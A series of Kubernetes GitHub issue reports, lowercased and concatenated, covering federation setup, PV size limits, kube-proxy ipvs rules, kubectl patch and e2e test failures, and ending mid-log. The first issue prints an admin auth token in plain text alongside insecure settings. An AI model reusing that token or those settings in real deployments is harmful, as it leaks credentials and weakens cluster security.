kubectl --server=https://172.31.19.28:443 \\\r > --certificate-authority=/var/run/kubernetes/ca.crt \\\r > --client-certificate=/var/run/kubernetes/server.crt \\\r > --client-key=/var/run/kubernetes/server.key \\\r > get nodes   \r name                      status    age       version\r bjkjy-ite-cloud94.bjkjy   ready     25d       v1.6.0-alpha.1\r bjkjy-ite-cloud95.bjkjy   ready     25d       v1.6.0-alpha.1\r \r \r   what you expected to happen  :\r \r \r   how to reproduce it    as minimally and precisely as possible :\r    for federation configuration:\r    i use federation yaml file to start federation in my bare metal ubuntu system.\r    1. create federation nodeport service\r   cat federation-apiserver-cluster-service.yaml    \r apiversion: v1\r kind: service\r metadata:\r   name: federation-apiserver \r   namespace: federation\r   labels:\r     app: federated-cluster\r spec:\r   type: nodeport\r   selector:\r     app: federated-cluster\r     module: federation-apiserver\r   ports:\r     - name: https\r       protocol: tcp\r       nodeport: 30443\r       port: 443\r \r   kubectl get svc --namespace=federation  \r name                   cluster-ip      external-ip   port s          age\r federation-apiserver   172.31.99.184   <nodes>       443:30443/tcp   25d\r \r    2. create federation-apiserver-deployment\r     2.1 create token and secret for federation apiserver\r   cat /srv/kubernetes/known-tokens.csv  \r zwpsikg0da77z6hwk3fvoxeudnlue3dp,admin,admin\r \r   kubectl create secret generic federation-apiserver-secrets --from-file=/srv/kubernetes/known-tokens.csv --namespace=federation   \r \r    kubectl describe secrets federation-apiserver-secrets --namespace=federation  \r name:           federation-apiserver-secrets\r namespace:      federation\r labels:         <none>\r annotations:    <none>\r \r type:   opaque\r \r data\r ====\r known-tokens.csv:       45 bytes\r \r 2.2 deploy federation apiserver\r    cat federation-apiserver-deployment.yaml  \r apiversion: extensions/v1beta1\r kind: deployment\r metadata:\r   name: federation-apiserver\r   namespace: federation\r   labels:\r     app: federated-cluster\r spec:\r   template:\r     metadata:\r       name: federation-apiserver\r       labels:\r         app: federated-cluster\r         module: federation-apiserver\r     spec:\r       containers:\r       - name: apiserver\r         image: registry-dev.baiwei.baidu.com/baidu_containers/federation/hyperkube-amd64:v1.6.0-alpha.1\r         command:\r         - /hyperkube\r         - federation-apiserver\r         - --bind-address=0.0.0.0\r         - --etcd-servers=http://localhost:2379\r         - --secure-port=443 \r         - --advertise-address=172.31.99.184\r         - --admission-control=alwaysadmit\r         - --token-auth-file=/srv/kubernetes/known-tokens.csv\r         - --anonymous-auth=true\r         ports:\r         - containerport: 443\r           name: https\r         - containerport: 8080\r           name: local\r         volumemounts:\r         - name: federation-apiserver-secrets\r           mountpath: /srv/kubernetes/\r            readonly: true\r       - name: etcd\r         image: registry-dev.baiwei.baidu.com/baidu_containers/federation/etcd:v3.1.0\r         command:\r           - /usr/local/bin/etcd\r           - --data-dir\r           - /var/etcd/data\r       volumes:\r       - name: federation-apiserver-secrets\r         secret:\r           secretname: federation-apiserver-secrets\r \r     2.3 federation apiserver can start successful.\r   kubectl logs pod/federation-apiserver-1812305095-bx2lg apiserver --namespace=federation    \r i0111 07:48:02.649714       1 config.go:498  will report 172.31.99.184  as public ip address.\r i0111 07:48:03.394698       1 config.go:427  generated self-signed cert  /var/run/kubernetes/apiserver.crt, /var/run/kubernetes/apiserver.key \r  restful  2017/01/11 07:48:03 log.go:30:  restful/swagger  listing is available at https:// 172.31.99.195:443/swaggerapi/\r  restful  2017/01/11 07:48:03 log.go:30:  restful/swagger  https://172.31.99.184:443/swaggerui/ is mapped to folder /swagger-ui/\r i0111 07:48:03.450400       1 serve.go:93  serving securely on 0.0.0.0:443\r i0111 07:48:03.450481       1 serve.go:107  serving insecurely on 127.0.0.1:8080\r \r    3. deploy the federated controller manager\r     3.1 i use coredns as cloud provider and start coredns on host cluster\r   kubectl get svc  \r name           cluster-ip      external-ip   port s          age\r coredns        172.31.96.10    <none>        53/udp,53/tcp   19d\r \r    cat /etc/federation/coredns/federation-coredns-config  \r  global \r etcd-endpoints = http://172.31.19.28:2379\r zones = cluster01.com \r \r     3.2 create secret with federation kubeconfig\r   cat /etc/federation/federation-apiserver/kubeconfig  \r apiversion: v1\r clusters:\r - cluster:\r     insecure-skip-tls-verify: true\r     server: https://172.31.19.28:30443\r   name: federation-cluster\r contexts:\r - context:\r     cluster: \ \ \r     user: \ \ \r   name: default\r - context:\r     cluster: federation-cluster\r     user: federation-cluster\r   name: federation-cluster\r current-context: federation-cluster\r kind: config\r preferences: {}\r users:\r - name: federation-cluster\r   user:\r     token: zwpsikg0da77z6hwk3fvoxeudnlue3dp\r \r 3.3 deploy federation-controller-manager\r   cat federation-controller-manager-deployment.yaml   \r apiversion: extensions/v1beta1\r kind: deployment\r metadata:\r   name: federation-controller-manager \r   namespace: federation \r   labels:\r     app: federated-cluster\r spec:\r   template:\r     metadata:\r       name: federation-controller-manager\r       labels:\r         app: federated-cluster\r         module: federation-controller-manager\r     spec:\r       volumes:\r       - name: ssl-certs\r         hostpath:\r           path: /etc/ssl/certs\r       - name: kubeconfig\r         secret:\r           secretname: federation-apiserver-kubeconfig\r       - name: dns-provider-config\r         secret:\r           secretname: federation-dnsprovider-config\r       containers:\r       - name: controller-manager\r         volumemounts:\r         - name: ssl-certs\r           readonly: true\r           mountpath: /etc/ssl/certs\r         - name: kubeconfig\r           readonly: true\r           mountpath: \ /etc/federation/federation-apiserver\ \r         - name: dns-provider-config\r           readonly: true\r           mountpath: \ /etc/federation/coredns\ \r         image: registry-dev.baiwei.baidu.com/baidu_containers/federation/hyperkube-amd64:v1.6.0-alpha.1 \r         command:\r         - /hyperkube\r         - federation-controller-manager\r           - --master=https://172.31.19.28:30443  \r         - --kubeconfig=/etc/federation/federation-apiserver/kubeconfig\r           - --dns-provider=coredns\r         - --dns-provider-config=/etc/federation/coredns/federation-coredns-config  \r         - --federation-name=federation\r         - --v=4\r         - --zone-name=cluster01.com\r         ports:\r         - containerport: 443\r           name: https\r         - containerport: 8080\r           name: local\r         env:\r         - name: pod_namespace\r           valuefrom:\r             fieldref:\r               fieldpath: metadata.namespace\r \r     3.4 federation components start successful.\r   kubectl get pod --namespace=federation  \r name                                             ready     status    restarts   age\r federation-apiserver-1812305095-bx2lg            2/2       running   0          6d\r federation-controller-manager-3122363240-flg0l   1/1       running   21         6d\r \r   anything else we need to know  :\r

statefulset now  updates observedgeneration  https://github.com/kubernetes/kubernetes/pull/42429  as of 1.6. that means the todo on  statefulsethasdesiredreplicas  https://github.com/kubernetes/kubernetes/blob/072e68f0a6da90f22333a96273e0107db3b2a1b8/pkg/client/unversioned/conditions.go l82  can be fixed in 1.7. we could not fix it in 1.6 because that code is used by kubectl, which must work against servers that are one minor version ahead of or behind the client.

the built-in cri-docker integration relies on some legacy support  e.g., the docker-cadvisor integration  that a new cri integration does not have. below is a list of issues we need to address to fully support a non-builtin, non-docker container runtime via cri.\r \r a  potentially incomplete  list of issues to unblock adopting a  non-docker  cri integration.\r -     refactor kubelet to consume container metrics from cri:  46984\r -     refactor kubelet to consume image filesystem stats from cri:  33048\r -     providing cgroups for kubelet/cadvisor to track resource usage of cri shim and container runtime stats:  30702\r -     authentication for the streaming server:  36666\r -     improve log format to handle logs:  44976\r \r /cc @random-liu @feiskyer @mrunalp

https://github.com/kubernetes/kubernetes/blob/v1.8.0-alpha.2/pkg/apis/apps/v1beta1/zz_generated.conversion.go does not have deployments \r \r this can be fixed by adding the following line to https://github.com/kubernetes/kubernetes/blob/v1.8.0-alpha.2/pkg/apis/apps/v1beta1/doc.go\r    go\r // +k8s:conversion-gen=k8s.io/kubernetes/pkg/apis/extensions\r    \r i didn't find this comment documented anywhere, though.\r \r this means that deployment conversion has not worked correctly as expected since the bump of apps/v1beta1. we may need to cherry pick fixes. \r \r a bigger underlying issue is  49734, cross-group conversions aren't covered by roundtrip tests. \r \r @kubernetes/sig-apps-bugs \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r earlier we had setup 12e and nfs storage for persistentvolume and this size is near 64bit. now i see that 12e fails for nfs and the upper limit i could get to was 2.3e  61 bits . for local storage, i can get up to 9.2e  63 bits . the pv gets set up but any pvc remains in \ pending\  status.\r \r   what you expected to happen  :\r i expected behavior to be as earlier, with 12e being able to satisfy claims. if it's not possible to have a 12e, i would expect at least one common size across all pv types. else, some documentation would be useful.\r \r   how to reproduce it  as minimally and precisely as possible   :\r examples of local and nfs yaml files are as below:\r \r   local: \r pvc.yaml  local :\r    \r kind: persistentvolumeclaim\r apiversion: v1\r metadata:\r   name: task-pv-claim\r spec:\r   accessmodes:\r     - readwritemany\r   resources:\r     requests:\r       storage: 1e\r    \r \r pv.yaml  local, working :\r    \r kind: persistentvolume\r apiversion: v1\r metadata:\r   name: task-pv-volume\r   labels:\r     type: local\r spec:\r   capacity:\r     storage: 9.2e\r   accessmodes:\r     - readwritemany\r   hostpath:\r     path: \ /tmp/data\ \r    \r \r pv.yaml  local, failing :\r    \r kind: persistentvolume\r apiversion: v1\r metadata:\r   name: task-pv-volume\r   labels:\r     type: local\r spec:\r   capacity:\r     storage: 12e\r   accessmodes:\r     - readwritemany\r   hostpath:\r     path: \ /tmp/data\ \r    \r working local:\r    \r kubectl get pv\r name             capacity   accessmodes   reclaimpolicy   status      claim                    storageclass   reason    age\r task-pv-volume   9200p      rwx           retain          available                                                     13s\r \r kubectl get pvc\r name             status    volume           capacity   accessmodes   storageclass   age\r task-pv-claim    bound     task-pv-volume   9200p      rwx                          5s\r    \r \r failing local:\r    \r kubectl get pv\r name             capacity   accessmodes   reclaimpolicy   status      claim                    storageclass   reason    age\r task-pv-volume   12e        rwx           retain          available                                                     5m\r \r kubectl get pvc\r name             capacity   accessmodes   reclaimpolicy   status      claim                    storageclass   reason    age\r task-pv-claim    pending                                                            1m\r    \r \r \r   nfs:\r nfs-pvc.yaml:\r    \r kind: persistentvolumeclaim\r apiversion: v1\r metadata:\r   name: test-claim\r   labels:\r     app: test\r spec:\r   accessmodes:\r     - readwritemany\r   resources:\r     requests:\r       storage: 1e\r   volumename: test-share\r    \r nfs-pv.yaml  working, ip redacted :\r    \r apiversion: v1\r kind: persistentvolume\r metadata:\r   name: test-share\r   labels:\r     app: test\r spec:\r   capacity:\r     storage: 2.3e\r   accessmodes:\r     - readwritemany\r   persistentvolumereclaimpolicy: retain\r   nfs:\r     server: xxx.xxx.xxx.xxx\r     path: /tmp/test\r    \r \r nfs-pv.yaml  failing, ip redacted :\r    \r apiversion: v1\r kind: persistentvolume\r metadata:\r   name: test-share\r   labels:\r     app: test\r spec:\r   capacity:\r     storage: 12e\r   accessmodes:\r     - readwritemany\r   persistentvolumereclaimpolicy: retain\r   nfs:\r     server: xxx.xxx.xxx.xxx\r     path: /tmp/test\r    \r \r working nfs:\r    \r kubectl get pv\r name         capacity   accessmodes   reclaimpolicy   status    claim                storageclass   reason    age\r test-share   2300p      rwx           retain          bound     default/test-claim                            31s\r \r kubectl get pvc\r name         status    volume       capacity   accessmodes   storageclass   age\r test-claim   bound     test-share   2300p      rwx                          4s\r    \r failing nfs:\r    \r kubectl get pv\r name         capacity   accessmodes   reclaimpolicy   status    claim                storageclass   reason    age\r test-share   12e      rwx           retain          bound     default/test-claim                            4s\r \r kubectl get pvc\r name         status    volume       capacity   accessmodes   storageclass   age\r test-claim   pending   test-share   0                                       3m\r    \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : kubernetes 1.7.2\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release : centos 7.2\r - kernel  e.g.  uname -a  :3.10.0-327.3.1.el7.x86_64  1 smp wed dec 9 14:09:15 utc 2015 x86_64 x86_64 x86_64 gnu/linux\r - install tools: rpm\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r kubect create -f statefulset_demo.yaml  to create statefulset, and describe the statefulset, output the event likes\r <pre>\r events:\r  firstseen    lastseen    count    from        subobjectpath    type        reason            message\r  ---------    --------    -----    ----        -------------    --------    ------            -------\r  1m        1m        1    statefulset            normal        successfulcreate    create claim www-web-0 pod web-0 in statefulset web success\r  1m        1m        1    statefulset            normal        successfulcreate    create pod web-0 in statefulset web successful\r </pre>\r \r   what you expected to happen  :\r the from of event change to 'statefulset-controller' in output, let know the source of event more obvious, likes the event when create job and other resource replicaset,replication .\r <pre>\r events:\r  firstseen    lastseen    count    from        subobjectpath    type        reason            message\r  ---------    --------    -----    ----        -------------    --------    ------            -------\r  3m        3m        1    job-controller            normal        successfulcreate    created pod: pi-7gd2m\r </pre>\r   how to reproduce it  as minimally and precisely as possible   :\r create a statefulset and describe it to see the event\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :kubernetes 1.7\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

motivation:\r   it is bad user experience if the object shows up too long time after it's created.\r   long initialization latency means some create requests are asynchronous, which breaks existing clients, causing problems like  48893.\r \r     solution: enforcing initialization timeout\r   add an apiserver flag  --initializer-timeout , default to 15s\r   if the initialization of an object takes longer than the timeout, either the apiserver or the control-plane will delete the object. \r   after deleting the object, the apiserver returns  newservertimeout  , which uses 500 internal error return code. as what 500 indicates, user can safely assume the creation has been cancelled and should retry.\r \r     why defaulting to 15 seconds\r   currently the default timeout of a short-running  i.e., non-watch  request is 30s. the initializer timeout needs to be less than 30s to keep create requests synchronous.\r   we are committed to maintain the 1s slo for a create request with all kubernetes-native initializers enabled. it’s reasonable to ask thirdparty initializers to have a combined latency less than 15 seconds.\r \r     implementation\r   in  waitforinitialized  https://github.com/kubernetes/kubernetes/blob/fc3b8bd58b0b20f549148fccbcbb0498f6f16f27/staging/src/k8s.io/apiserver/pkg/registry/generic/registry/store.go l368 , if the object isn’t initialized in time, delete it using  deletewithoutfinalizers  https://github.com/kubernetes/kubernetes/blob/fc3b8bd58b0b20f549148fccbcbb0498f6f16f27/staging/src/k8s.io/apiserver/pkg/registry/generic/registry/store.go l478 .\r   apiserver is stateless and might crash, so we need a controller to garbage collect slow-to-initialize objects. the garbage collector will give objects longer initialization time, e.g., 2x --initializer-timeout , to avoid conflicting with apiserver’s decision.\r \r @smarterclayton @lavalamp @deads2k @kubernetes/sig-api-machinery-api-reviews

the resource paths for each object in etcd follow a convention like the following:      /registry/pods/namespace1/pod1 /registry/pods/namespace1/pod2 /registry/pods/namespace2/pod1 /registry/pods/namespace2/pod2      the same pattern follows for all other namespace scoped resource types.  when we delete a namespace, we are properly deleting the individual resources  pod1 and pod2 , but in etcd, we still get a directory node that represented what used to be that namespace's content directory.  for example, if we delete namespace1, we end up with the following empty directory in etcd.      /registry/pods/namespace1      we should develop a solution to purge these empty directories from etcd to maintain system performance over time.  we could do this at a lower-level:  1  some controller that purges empty dirs from etcd 2  or some other convention in our registry to ask that the folder node for a namespace is deleted as part of namespace termination  the remaining folders cause no end-user impact, but just result in unnecessary folders left in etcd repo.

  \r   what happened  :\r \r i tried to setup a volume mount under windows, but got a misleading error message.\r \r volumemounts part:\r    \r         volumemounts:\r         - name: influxdb-storage\r           mountpath: /var/lib/influxdb\r    \r \r volumes part:\r \r    \r       volumes:\r       - name: influxdb-storage\r         hostpath:\r           path: d:/influxdb\r           type: directoryorcreate\r    \r \r error message on kubernetes dashboard was:\r \r    \r error received from daemon, invalid mode for /var/lib/influxdb\r    \r \r   what you expected to happen  :\r \r better error message to explain the problem better, since as turned out, not the    volumemounts    part was wrong, but the    hostpath.path    was in the wrong format. as a kubernetes newbie i was searching for solutions for the    volumemounts    part, but did not find anything...\r \r after i modified it to    /d/influxdb    everything worked like a charm.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r create a kubernetes deployment under windows with a hostpath volume.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version:\r    \r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.2\ , gitcommit:\ 5fa2db2bd46ac79e5e00a4e6ed24191080aa463b\ , gittreestate:\ clean\ , builddate:\ 20018-01-18t10:09:24z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ windows/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.2\ , gitcommit:\ bdaeafa71f6c7c04636251031f93464384d54963\ , gittreestate:\ clean\ , builddate:\ 2\r 017-10-24t19:38:10z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration: n/a\r - os  e.g. from /etc/os-release : microsoft windows  version 10.0.16299.214 \r - kernel  e.g.  uname -a  : n/a\r - install tools: n/a\r - others: n/a\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r   /area kube-proxy\r /area ipvs\r /assign @honkiko\r \r \r   what happened  :\r see the iptables rules generated by kube-proxy in ipvs mode. kube-node-port-udp match is constrained by \ -p udp\ ,  while kube-node-port-tcp match is not.\r    \r -a kube-services -m comment --comment \ kubernetes nodeport tcp port for masquerade purpose\  -m set --match-set kube-node-port-tcp dst -j kube-node-port\r -a kube-services -p udp -m udp -m comment --comment \ kubernetes nodeport udp port for masquerade purpose\  -m set --match-set kube-node-port-udp dst -j kube-node-port\r    \r \r also, kube-node-port-local-tcp and kube-node-port-local-udp match is missing protocol match too.\r    \r -a kube-node-port -m comment --comment \ kubernetes nodeport tcp port with externaltrafficpolicy=local\  -m set --match-set kube-node-port-local-tcp dst -j return\r -a kube-node-port -m comment --comment \ kubernetes nodeport udp port with externaltrafficpolicy=local\  -m set --match-set kube-node-port-local-udp dst -j accept\r    \r \r   what you expected to happen  :\r add \ -p tcp\  constrain for tcp port set-match rules, and \ -p udp\  for udp port set-match rules.\r \r   how to reproduce it  as minimally and precisely as possible   :\r start kube-proxy in ipvs mode, create nodeport service with tcp and udp ports.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :  commit 24ab69d\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release : centos linux release 7.2.1511  core \r - kernel  e.g.  uname -a  : linux vm_3_4_centos 3.10.0-514.26.2.el7.x86_64  1 smp tue jul 4 15:04:05 utc\r - install tools:\r - others:\r

what happened  :\r can not access the nodeport from outside cluster when kube-proxy is in ipvs mode.\r   what you expected to happen  :\r can access the nodeport from outside cluster when kube-proxy is in ipvs mode.\r   how to reproduce it  as minimally and precisely as possible   :\r we test this using 1.11.6. and find the filterrules in ipvs mode is useless. we cherry pick this commit and problem solved. add this two rules in kube-forward\r    \r -a kube-forward -s 10.0.0.0/8 -m comment --comment \ kubernetes forwarding conntrack pod source rule\  -m conntrack --ctstate related,established -j accept\r -a kube-forward -d 10.0.0.0/8 -m comment --comment \ kubernetes forwarding conntrack pod destination rule\  -m conntrack --ctstate related,established -j accept\r    \r  /area kube-proxy

there are a number of conformance test requirements and guidelines:\r https://github.com/kubernetes/community/blob/master/contributors/devel/sig-architecture/conformance-tests.md conformance-test-requirements\r \r we should try to automate enforcement to the degree we can, via a \ linting\  tool, and/or test framework checks. \r \r for instance, conformance tests shouldn't invoke framework.provideris or framework.skipunlessprovideris. those could actually check whether they are invoked by a conformance test, and then die.\r \r cc @kubernetes/cncf-conformance-wg \r \r /area conformance

problem    the controllers in each package under controller have redundant camel cased  new...  methods... like  -  newdaemonsetcontroller   could be just  daemon.new  .     - newjobcontroller   could be  job.new     for example      286         go daemon.newdaemonsetscontroller kubeclient, s.resyncperiod .      and here again...      289         go job.newjobcontroller kubeclient, s.resyncperiod .      and so on...      290             run s.concurrentjobsyncs, util.neverstop  291 292         podautoscaler.newhorizontalcontroller kubeclient, metrics.newheapstermetricsclient kubeclient  . 293             run s.horizontalpodautoscalersyncperiod  294          i think the below seems the right way to do this..  each controller   subpackage   has a  new ...   function...  we know the controller by looking directly at the sub package.      295         deployment.new kubeclient . 296             run s.deploymentcontrollersyncperiod  297     } 298      shall we replace these all accordingly? it makes - the use of controllers a lot easier to grep for  - the code easier to reason about  - slightly simplifies/reduces the amount of code  trivial    - it also reinforces 1-1 ratio  controller-to-package, which appears to be the convention we're following.  tl;dr?  if each controller is going to have its own package,  lets have the new   create methods be named exactly the same.

kubectl patch requires input via an argument with the  -p  flag.  e.g.      bash kubectl patch secrets some-secret -p '{data:{\ name\ :\ new_val\ }}'      attempting to do this with stdin will result in various error messages.      bash $ echo '{data:{\ name\ :\ new_val\ }}' | kubectl patch secrets some-secret error: must specify -p to patch see 'kubectl patch -h' for help          bash $ echo '{data:{\ name\ :\ new_val\ }}' | kubectl patch secrets some-secret -p error: flag needs an argument: 'p' in -p run 'kubectl help' for usage.

when create pod with a special but not exist networkplugin.  it will fail when network setup pod because the networkplugin is not exist. as the pod cannot join up network, it has no ip. what i expect of the pod state is pending, but when i describe it , it shows running, i think it is not suitable and should be fixed. @yujuhong  how do you think? cc @judytong  quark@k8s-quark-master kube $ kubectl describe pod test-gzj2g  name:                           test-gzj2g namespace:                      default image s :                       ubuntu node:                           192.168.20.2/192.168.20.2 start time:                     fri, 27 nov 2015 02:45:50 +0000 labels:                         app=test status:                         running reason: message: ip: replication controllers:        test  2/2 replicas created

node \ yifan-rkt-minion-6uvd\  runtime operation error rate:   node \ yifan-rkt-minion-h379\  runtime operation error rate:   node \ yifan-rkt-minion-tsc1\  runtime operation error rate:    • failure  1332.537 seconds   k8s.io  kubelet-perf  serial   slow  /home/yifan/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:508    k8s.io  regular resource usage tracking   /home/yifan/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:508     resource tracking for 35 pods per node  it      /home/yifan/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/kubelet_perf.go:258      expected error:         <errors.aggregate | len:4, cap:4>:               {                 s: \ resource usage on node \\\ yifan-rkt-master\\\  is not ready yet\ ,             },             {                 s: \ resource usage on node \\\ yifan-rkt-minion-6uvd\\\  is not ready yet\ ,             },             {                 s: \ resource usage on node \\\ yifan-rkt-minion-h379\\\  is not ready yet\ ,             },             {                 s: \ resource usage on node \\\ yifan-rkt-minion-tsc1\\\  is not ready yet\ ,             },                    resource usage on node \ yifan-rkt-master\  is not ready yet, resource usage on node \ yifan-rkt-minion-6uvd\  is not ready yet, resource usage on node \ yifan-rkt-minion-h379\  is not ready yet, resource usage on node \ yifan-rkt-minion-tsc1\  is not ready yet      not to have occurred      /home/yifan/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/kubelet_perf.go:101 ------------------------------ sssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss  summarizing 1 failure:   fail   k8s.io  kubelet-perf  serial   slow   k8s.io  regular resource usage tracking  it  resource tracking for 35 pods per node  /home/yifan/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/kubelet_perf.go:101  ran 1 of 284 specs in 1332.576 seconds fail! -- 0 passed | 1 failed | 0 pending | 283 skipped --- fail: teste2e  1332.80s  fail      full logs  here  https://gist.github.com/yifan-gu/f6ab6d76a21cc5c1fbb0990e47353c6c   cc @kubernetes/sig-node

i'm not a kubernetes or nginx expert and i really want to provide meaningful information. however, i need some guidance and i'm willing to provide more data.  i constantly see  2016/05/25 21:34:35  error  170 170: unexpected response for hello-node.default.svc.cluster.local  message when using nginx  resolver  feature to resolve pod ip. the pod can be visited just fine, but this message bugs me a lot. here is my configs and logs.      yml kind: service apiversion: v1 metadata:   name: hello-node spec:   selector:     app: hello-node   ports:   - port: 80     targetport: http   clusterip: none          nginx   nginx.conf user  nginx; worker_processes  1;  error_log  /var/log/nginx/error.log debug; pid        /var/run/nginx.pid;   events {     worker_connections  1024; }   http {     include       /etc/nginx/mime.types;     default_type  application/octet-stream;      log_format  main  '$remote_addr - $remote_user  $time_local  \ $request\  '                       '$status $body_bytes_sent \ $http_referer\  '                       '\ $http_user_agent\  \ $http_x_forwarded_for\ ';      access_log  /var/log/nginx/access.log  main;      sendfile        on;      tcp_nopush     on;      keepalive_timeout  65;       gzip  on;      include /etc/nginx/conf.d/ .conf; }          nginx   /etc/nginx/conf.d/hello-node.conf server {   listen 80;   resolver 10.3.240.10 ipv6=off;   set $backend_upstream \ http://hello-node.default.svc.cluster.local:3000\ ;   location / {     proxy_pass $backend_upstream;   } }          2016/05/25 21:34:35  debug  170 170:  67 http cleanup add: 000000000161efd8 2016/05/25 21:34:35  debug  170 170: malloc: 0000000001652f50:160 2016/05/25 21:34:35  debug  170 170: resolve: \ hello-node.default.svc.cluster.local\  2016/05/25 21:34:35  debug  170 170: malloc: 0000000001634db0:54 2016/05/25 21:34:35  debug  170 170: resolve: \ hello-node.default.svc.cluster.local\  a 49529 2016/05/25 21:34:35  debug  170 170: send: fd:4 54 of 54 2016/05/25 21:34:35  debug  170 170: malloc: 0000000001634080:96 2016/05/25 21:34:35  debug  170 170: event timer add: -1: 30000:1464212105373 2016/05/25 21:34:35  debug  170 170: event timer add: -1: 5000:1464212080373 2016/05/25 21:34:35  debug  170 170:  67 http finalize request: -4, \ /stubborn-poems.doc?\  a:1, c:2 2016/05/25 21:34:35  debug  170 170:  67 http request count:2 blk:0 2016/05/25 21:34:35  debug  170 170: timer delta: 3 2016/05/25 21:34:35  debug  170 170: worker cycle 2016/05/25 21:34:35  debug  170 170: epoll timer: 5000 2016/05/25 21:34:35  debug  170 170: epoll: fd:14 ev:0004 d:00007f7e8d75b551 2016/05/25 21:34:35  debug  170 170:  67 http run request: \ /stubborn-poems.doc?\  2016/05/25 21:34:35  debug  170 170:  67 http upstream check client, write event:1, \ /stubborn-poems.doc\  2016/05/25 21:34:35  debug  170 170:  67 http upstream recv  : -1  11: resource temporarily unavailable  2016/05/25 21:34:35  debug  170 170: epoll: fd:4 ev:0001 d:00007f7e8d75b2b0 2016/05/25 21:34:35  debug  170 170: recv: fd:4 86 of 4096 2016/05/25 21:34:35  debug  170 170: resolver dns response 49529 fl:8580 1/2/0/0 2016/05/25 21:34:35  debug  170 170: resolver dns response qt:1 cl:1 2016/05/25 21:34:35  debug  170 170: malloc: 00000000016528d0:36 2016/05/25 21:34:35  debug  170 170: resolver qs:hello-node.default.svc.cluster.local 2016/05/25 21:34:35  debug  170 170: resolver naddrs:2 cname:0000000000000000 ttl:30 2016/05/25 21:34:35  debug  170 170: malloc: 0000000001652900:8 2016/05/25 21:34:35  debug  170 170: malloc: 0000000001634c80:64 2016/05/25 21:34:35  debug  170 170: malloc: 000000000163a390:220 2016/05/25 21:34:35  debug  170 170:  67 http upstream resolve: \ /stubborn-poems.doc?\  2016/05/25 21:34:35  debug  170 170:  67 name was resolved to 10.0.0.8 2016/05/25 21:34:35  debug  170 170:  67 name was resolved to 10.0.0.7 2016/05/25 21:34:35  debug  170 170: resolve name done: 0 2016/05/25 21:34:35  debug  170 170: event timer del: -1: 1464212105373 2016/05/25 21:34:35  debug  170 170: resolver expire 2016/05/25 21:34:35  debug  170 170: event timer del: -1: 1464212080373 2016/05/25 21:34:35  debug  170 170:  67 get rr peer, try: 2 2016/05/25 21:34:35  debug  170 170:  67 get rr peer, current: 000000000161f058 -1 2016/05/25 21:34:35  debug  170 170:  67 socket 15 2016/05/25 21:34:35  debug  170 170:  67 epoll add connection: fd:15 ev:80002005 2016/05/25 21:34:35  debug  170 170:  67 connect to 10.0.0.8:3000, fd:15  68 2016/05/25 21:34:35  debug  170 170:  67 http upstream connect: -2 2016/05/25 21:34:35  debug  170 170:  67 posix_memalign: 0000000001652f50:128 @16 2016/05/25 21:34:35  debug  170 170:  67 event timer add: 15: 60000:1464212135388 2016/05/25 21:34:35  debug  170 170: recv: fd:4 86 of 4096 2016/05/25 21:34:35  debug  170 170: resolver dns response 49529 fl:8580 1/2/0/0 2016/05/25 21:34:35  debug  170 170: resolver dns response qt:1 cl:1 2016/05/25 21:34:35  debug  170 170: malloc: 00000000016528d0:36 2016/05/25 21:34:35  debug  170 170: resolver qs:hello-node.default.svc.cluster.local 2016/05/25 21:34:35  error  170 170: unexpected response for hello-node.default.svc.cluster.local 2016/05/25 21:34:35  debug  170 170: recv: fd:4 -1 of 4096 2016/05/25 21:34:35  debug  170 170: recv   not ready  11: resource temporarily unavailable  2016/05/25 21:34:35  debug  170 170: timer delta: 15 2016/05/25 21:34:35  debug  170 170: worker cycle 2016/05/25 21:34:35  debug  170 170: epoll timer: 35498 2016/05/25 21:34:35  debug  170 170: epoll: fd:15 ev:0004 d:00007f7e8d75b1d1 2016/05/25 21:34:35  debug  170 170:  67 http upstream request: \ /stubborn-poems.doc?\  2016/05/25 21:34:35  debug  170 170:  67 http upstream send request handler 2016/05/25 21:34:35  debug  170 170:  67 http upstream send request 2016/05/25 21:34:35  debug  170 170:  67 http upstream send request body 2016/05/25 21:34:35  debug  170 170:  67 chain writer buf fl:1 s:331 2016/05/25 21:34:35  debug  170 170:  67 chain writer in: 000000000161f2a8 2016/05/25 21:34:35  debug  170 170:  67 